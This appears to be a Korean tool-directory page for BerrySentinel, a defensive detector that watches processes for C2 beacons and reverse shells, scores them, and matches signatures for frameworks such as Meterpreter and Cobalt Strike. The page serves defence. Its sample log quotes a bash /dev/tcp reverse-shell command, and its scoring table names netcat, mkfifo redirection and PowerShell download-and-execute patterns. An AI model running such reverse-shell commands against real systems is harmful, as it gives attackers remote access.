Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
BerrySentinel — Berry Sentinel v5.0 — Linux/Windows/Unix 시스템을 위한 고급 행위 기반 C2 및 리버스 셸 탐지기입니다. 실시간 연결 분석, 휴리스틱 점수화, C2 프레임워크 시그니처 탐지, 비콘 간격 분석, 프로세스 종료 엔진을 갖춘 대화형 curses 기반 TUI를 제공합니다. | Kitploit
도구/GitHubGitHub/dereeqw/berrysentinel
Defensive ToolsNetwork SecurityMalware AnalysisPenetration TestingCommand and ControlThreat IntelligenceIntrusion DetectionRed TeamingIncident ResponseAnomaly DetectionLog Analysis
135개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
dereeqw/berrysentinel

BerrySentinel

Berry Sentinel v5.0 — Linux/Windows/Unix 시스템을 위한 고급 행위 기반 C2 및 리버스 셸 탐지기입니다. 실시간 연결 분석, 휴리스틱 점수화, C2 프레임워크 시그니처 탐지, 비콘 간격 분석, 프로세스 종료 엔진을 갖춘 대화형 curses 기반 TUI를 제공합니다.

저장소 보기

🫐 Berry Sentinel

실시간 C2(명령 및 제어) 연결 행동 탐지기

제로 시그니처 · 방탄 수집 · 심층 스캔 · 킬 엔진

Python 3.8+ Platform License: MIT


무엇인가요?

Berry Sentinel은 시스템의 모든 활성 네트워크 연결을 모니터링하고, 이를 생성하는 프로세스의 행동을 분석하여 악성 활동을 탐지합니다. 바이러스 시그니처 데이터베이스나 차단된 IP 목록을 사용하지 않습니다.

리버스 셸, 웹셸, RAT, C2 비콘 및 Meterpreter, Cobalt Strike, Sliver, Empire와 같은 프레임워크를 프로세스의 행동 방식을 관찰하여 탐지합니다. Python 인터프리터의 stdin이 원격 소켓에 연결되어 있다면, IP가 알려지지 않았더라도 의심스럽습니다.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo                                 ║
║  Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTO                ESTADO  FIRMAS/TAGS                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █CRÍTICO  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲ALTO     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

기능

  • curses 기반 대화형 TUI: ↑↓ 탐색, 연결 세부 정보, 통합 킬 엔진
  • 순수 행동 분석: AV 시그니처 없음, IP 블랙리스트 없음
  • 비콘 탐지: 정기적인 간격으로 C2 연결 식별 (Cobalt Strike ~60초, Empire ~5초 등)
  • 14개 이상의 인식된 C2 프레임워크: Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • 심층 스캔 (root 권한): 프로세스 메모리, RWX 영역, 환경 변수, 디스크에서 삭제된 실행 파일 분석
  • 방탄 수집: 5가지 수집 방법 병렬 사용 (/proc/net, ss, netstat, psutil, lsof) 및 자동 중복 제거
  • 크로스 플랫폼: Linux, macOS, Windows, Android/Termux
  • JSON 및 로그 내보내기: jq, ELK, Splunk와 호환되는 JSONL 형식의 경고
  • 화이트리스트: CIDR로 신뢰하는 IP 또는 네트워크 무시
  • 기본 모드에서 종속성 제로 (stdlib만): 추가 커버리지 위해 psutil 선택 사항

설치

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (Opcional pero recomendado) instalar psutil
pip install psutil

# Ejecutar
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses puede no estar disponible en Termux

설치 없이 (원라이너)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

사용법

root@kitploit:~
python3 BerrySentinel.py [옵션]

옵션:
  --all, -a           로컬/루프백 연결 포함 (원격 외에도)
  --interval N, -i N  N초마다 새로고침 (기본값: 2, 최소: 0.5)
  --log FILE, -l FILE 경고를 파일에 저장 (JSONL 형식)
  --json, -j          종료 시 전체 JSON 내보내기
  --whitelist LISTA   무시할 IP 또는 CIDR 목록 (쉼표로 구분)
  --no-color          ANSI 색상 없음 (파이프 또는 로그에 유용)
  --verbose, -v       의심스러운 연결뿐만 아니라 모든 연결 표시
  --top N, -t N       테이블의 최대 행 수 (기본값: 50)
  --diag, -d          진단: 작동하는 수집 방법 표시
  --no-tui            curses 없는 레거시 모드 (클래식 스크롤, 이식성 높음)
  --version, -V       버전 표시 후 종료

예시

root@kitploit:~
# 대화형 TUI — 권장 모드
python3 BerrySentinel.py

# root 권한으로 심층 스캔 (프로세스 메모리 접근)
sudo python3 BerrySentinel.py --all

# 경고 저장 및 종료 시 JSON 내보내기
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# 내부 네트워크 무시 및 5초마다 새로고침
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# 스크립트 또는 대화형 터미널 없는 SSH에서 사용할 텍스트 모드
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# 현재 시스템에서 작동하는 수집 방법 확인
python3 BerrySentinel.py --diag --no-tui

# 심각한 경고만, 10초마다 업데이트, 로그 저장
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

대화형 TUI 키


점수 시스템

각 연결은 탐지된 지표에 따라 0에서 100까지의 점수를 받습니다:

점수에 따른 심각도:


탐지되는 C2 프레임워크

Berry Sentinel은 다음 프레임워크에 대한 시그니처를 포함합니다 (포트, 프로세스 이름, 명령줄 및 비콘 패턴 기준 평가):


로그 형식 (JSONL)

각 경고는 독립적인 JSON 라인으로 기록됩니다:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

jq로 처리:

root@kitploit:~
# 치명적인 연결만 필터링
jq 'select(.sev == "CRÍTICO")' sentinel.log

# 모든 의심스러운 PID 보기
jq '[.pid] | unique' sentinel_export.json

# 특정 시그니처 검색
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

아키텍처

root@kitploit:~
BerrySentinel.py
├── 전역 상수
│   ├── SHELL_BINS, SCRIPT_ENGINES  — 셸 및 인터프리터 이름
│   ├── C2_SUSPECT_PORTS            — 일반적인 C2 포트
│   ├── PRIVATE_NETS                — 사설 IP 범위
│   └── C2_SIGNATURES               — 알려진 프레임워크 시그니처
│
├── 데이터 모델
│   ├── C2Signature   — C2 시그니처 정의
│   ├── ProcInfo      — OS 프로세스 정보
│   ├── Conn          — 네트워크 연결 + 분석 결과
│   └── BeaconTracker — C2 비콘 탐지기
│
├── 데이터 수집
│   ├── Collector     — 여러 네트워크 소스 오케스트레이션
│   ├── parse_proc_net_content() — /proc/net/* 파서
│   ├── build_inode_pid_map()    — inode→PID 맵
│   ├── get_proc_info()          — /proc를 통한 프로세스 정보
│   └── get_proc_info_psutil()   — psutil을 통한 프로세스 정보
│
├── 분석
│   ├── Engine.analyze()    — 행동 점수 + 태그
│   ├── Engine._beacon()    — 비콘 탐지
│   └── match_signatures()  — C2 시그니처 매칭
│
├── 출력
│   ├── CursesTUI   — 대화형 TUI (기본 모드)
│   ├── LegacyTUI   — curses 없는 ANSI 출력 (대체)
│   └── Logger      — 디스크에 JSONL 로그
│
└── Sentinel        — 메인 오케스트레이터

요구 사항

  • Python 3.8+
  • psutil — 선택 사항이지만 매우 권장 (pip install psutil)

추가 종속성 없이 도구는 Python 표준 라이브러리로 작동합니다. psutil은 /proc이 존재하지 않는 macOS 및 Windows에서의 커버리지를 추가합니다.


플랫폼


사용자 정의

사용자 정의 C2 시그니처 추가

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="승인되지 않은 회사 내부 RAT",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

스크립트에서 라이브러리로 사용

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[경고] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"점수={conn.score:.0f} 태그={conn.tags}")

사용자 정의 분석 엔진

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # 사용자 정의 로직 추가
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

책임 있는 사용 경고

Berry Sentinel은 자신의 시스템 또는 명시적 권한이 있는 시스템을 모니터링하기 위해 설계되었습니다. 킬 엔진은 사용자가 명시적으로 요청할 때만 작동합니다. 책임감 있게 사용하고 해당 관할권의 관련 법률을 준수하십시오.


라이선스

MIT — LICENSE 참조

도구 다운로드
키동작
↑ / ↓연결 간 이동
d / D선택한 연결의 세부 정보 패널 보기
k / K프로세스 종료 (PID 확인 메시지 표시)
f / F심각도 필터 순환: 전체 → 중간 → 높음 → 치명적
r즉시 새로고침
ESC세부 정보 패널 닫기 또는 작업 취소
q종료
지표점수태그
stdin/stdout → 소켓+55FD→SOCK
원격 연결이 있는 바이너리 셸+40SHELL→NET
웹셸 (Apache/Nginx의 자식 셸)+35WEBSHELL
높은 포트의 바인드 셸+35BIND-SHELL
netcat/socat 사용+35NETCAT
/dev/tcp 또는 mkfifo 리디렉션+40PIPE-REDIR
디스크에서 삭제된 실행 파일+25EXE-DEL!
/tmp 또는 /dev/shm의 실행 파일+15EXE-TMP
비콘 탐지됨 (주기적 연결)+25×확신BCN(60s)
Meterpreter 시그니처+55SIG:Meterpreter
Cobalt Strike 시그니처+60SIG:CobaltStrike
Sliver 시그니처+58SIG:Sliver
RWX 메모리 영역+20RWX(N)
LD_PRELOAD 또는 HISTFILE=/dev/null+10ENV:LD_PRELOAD
연결된 스크립트 인터프리터+25INTERP→NET
명령줄의 eval/exec+18EVAL
원격 PowerShell (IEX, DownloadString)+30PS-REM
점수심각도색상
≥ 65치명적🔴 밝은 빨강
≥ 45높음🟠 주황
≥ 25중간🟡 노랑
≥ 8낮음🔵 청록
< 8정보⚪ 회색
프레임워크점수 보너스주요 지표
Meterpreter+55포트 4444, ruby/msfconsole 프로세스
Cobalt Strike+60포트 50050, ~60초 비콘, java 프로세스
Sliver+58포트 31337/8888, ~60초 비콘
Empire+55포트 1234/7777, PowerShell -enc
Brute Ratel+62포트 2083, badger 프로세스
Havoc+58포트 40056, demon.x64/x86
Pupy RAT+52포트 9999, pupy.py
Merlin+54포트 8443, merlin-agent
Covenant+54포트 7443, GruntHTTP
PoshC2+52FComServer, ImplantCore
Mythic+56포트 7443, poseidon/apfell
QuasarRAT+50포트 4782-4785
NetcatShell+45socat exec bash, pty
DNS-C2+40포트 53, dnscat/iodine
시스템지원비고
Linux✅ 완전root 권한으로 심층 스캔 활성화
Android/Termux✅ 완전curses 실패 시 --no-tui 사용
macOS⚠️ 부분/proc 없음; netstat+psutil 사용
Windows⚠️ 부분netstat+psutil, 메모리 분석 없음